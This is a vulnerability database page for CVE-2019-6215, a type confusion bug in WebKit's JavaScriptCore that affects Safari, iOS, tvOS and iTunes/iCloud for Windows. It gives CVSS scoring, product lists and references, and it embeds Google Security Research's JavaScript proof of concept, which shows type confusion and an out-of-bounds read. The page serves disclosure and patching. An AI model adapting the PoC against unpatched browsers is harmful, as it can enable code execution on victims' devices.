CVE-2019-6215 : Detail

CVE-2019-6215

8.8
/
High
17.45%V3
Network
2019-03-05
15h00 +00:00
2019-03-14
08h57 +00:00
CVE.org
NVD
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CVE Descriptions

A type confusion issue was addressed with improved memory handling. This issue is fixed in iOS 12.1.3, tvOS 12.1.2, Safari 12.0.3, iTunes 12.9.3 for Windows, iCloud for Windows 7.10. Processing maliciously crafted web content may lead to arbitrary code execution.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-843 Access of Resource Using Incompatible Type ('Type Confusion')
The product allocates or initializes a resource such as a pointer, object, or variable using one type, but it later accesses that resource using a type that is incompatible with the original type.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 8.8 HIGH CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 46448

Publication date : 2019-02-21 23h00 +00:00
Author : Google Security Research
EDB Verified : No

/* https://github.com/WebKit/webkit/blob/3fff8c40c665a09de5e3ede46fc35908f69353c3/Source/JavaScriptCore/runtime/Lookup.h#L392 if (value.attributes() & PropertyAttribute::PropertyCallback) { JSValue result = value.lazyPropertyCallback()(vm, &thisObj); thisObj.putDirect(vm, propertyName, result, attributesForStructure(value.attributes())); return; } if (value.attributes() & PropertyAttribute::DOMJITAttribute) { ASSERT_WITH_MESSAGE(classInfo, "DOMJITAttribute should have class info for type checking."); const DOMJIT::GetterSetter* domJIT = value.domJIT(); auto* customGetterSetter = DOMAttributeGetterSetter::create(vm, domJIT->getter(), value.propertyPutter(), DOMAttributeAnnotation { classInfo, domJIT }); thisObj.putDirectCustomAccessor(vm, propertyName, customGetterSetter, attributesForStructure(value.attributes())); return; } if (value.attributes() & PropertyAttribute::DOMAttribute) { ASSERT_WITH_MESSAGE(classInfo, "DOMAttribute should have class info for type checking."); auto* customGetterSetter = DOMAttributeGetterSetter::create(vm, value.propertyGetter(), value.propertyPutter(), DOMAttributeAnnotation { classInfo, nullptr }); thisObj.putDirectCustomAccessor(vm, propertyName, customGetterSetter, attributesForStructure(value.attributes())); return; } CustomGetterSetter* customGetterSetter = CustomGetterSetter::create(vm, value.propertyGetter(), value.propertyPutter()); thisObj.putDirectCustomAccessor(vm, propertyName, customGetterSetter, attributesForStructure(value.attributes())); It's possible that the given property's attributes variable "value.attributes()" doesn't contain PropertyAttribute::CustomAccessor. In that case, a mismatch between the value of the property and its attributes occurs. When handling a property access operation, the normal interpreter sees the type of the value whereas the JIT compiler sees the attributes. So we can use JITed code to pull out the CustomGetterSetter object to the JavaScript world. The PoC demonstrates type confusion and an OOB read using a CustomGetterSetter object linked to regExpConstructorInput. PoC: */ function opt(o) { return o.r.input; } Object.assign({}, RegExp); // Reifying for (let i = 0; i < 200000; i++) { opt({r: RegExp}); } let input = opt({r: RegExp}); // Pulling the CustomGetterSetter object. let o = { a0: 0x1234, a1: 0x1234, a2: 0x1234, a3: 0x1234, a4: 0x1234, a5: 0x1234, a6: 0x1234, a7: 0x1234, a8: 0x1234, a9: 0x1234, a10: 0x1234, a11: 0x1234, } o.input = input; print(o.input); // The normal interpreter doesn't see the attributes, so it will just call the underneath getter using callCustomGetter.

Products Mentioned

Configuraton 0

Apple>>Safari >> Version To (excluding) 12.0.3

Apple>>Iphone_os >> Version To (excluding) 12.1.3

Apple>>Tvos >> Version To (excluding) 12.1.2

Apple>>Watchos >> Version To (excluding) 5.1.3

Configuraton 0

Apple>>Icloud >> Version To (excluding) 7.10

Apple>>Itunes >> Version To (excluding) 12.9.3

Microsoft>>Windows >> Version -

Configuraton 0

Canonical>>Ubuntu_linux >> Version 18.04

Canonical>>Ubuntu_linux >> Version 18.10

References

http://www.securityfocus.com/bid/106691
Tags : vdb-entry, x_refsource_BID
https://security.gentoo.org/glsa/201903-12
Tags : vendor-advisory, x_refsource_GENTOO
https://support.apple.com/HT209443
Tags : x_refsource_CONFIRM
https://support.apple.com/HT209451
Tags : x_refsource_CONFIRM
https://support.apple.com/HT209449
Tags : x_refsource_CONFIRM
https://support.apple.com/HT209450
Tags : x_refsource_CONFIRM
https://www.exploit-db.com/exploits/46448/
Tags : exploit, x_refsource_EXPLOIT-DB
https://usn.ubuntu.com/3889-1/
Tags : vendor-advisory, x_refsource_UBUNTU
https://support.apple.com/HT209447
Tags : x_refsource_CONFIRM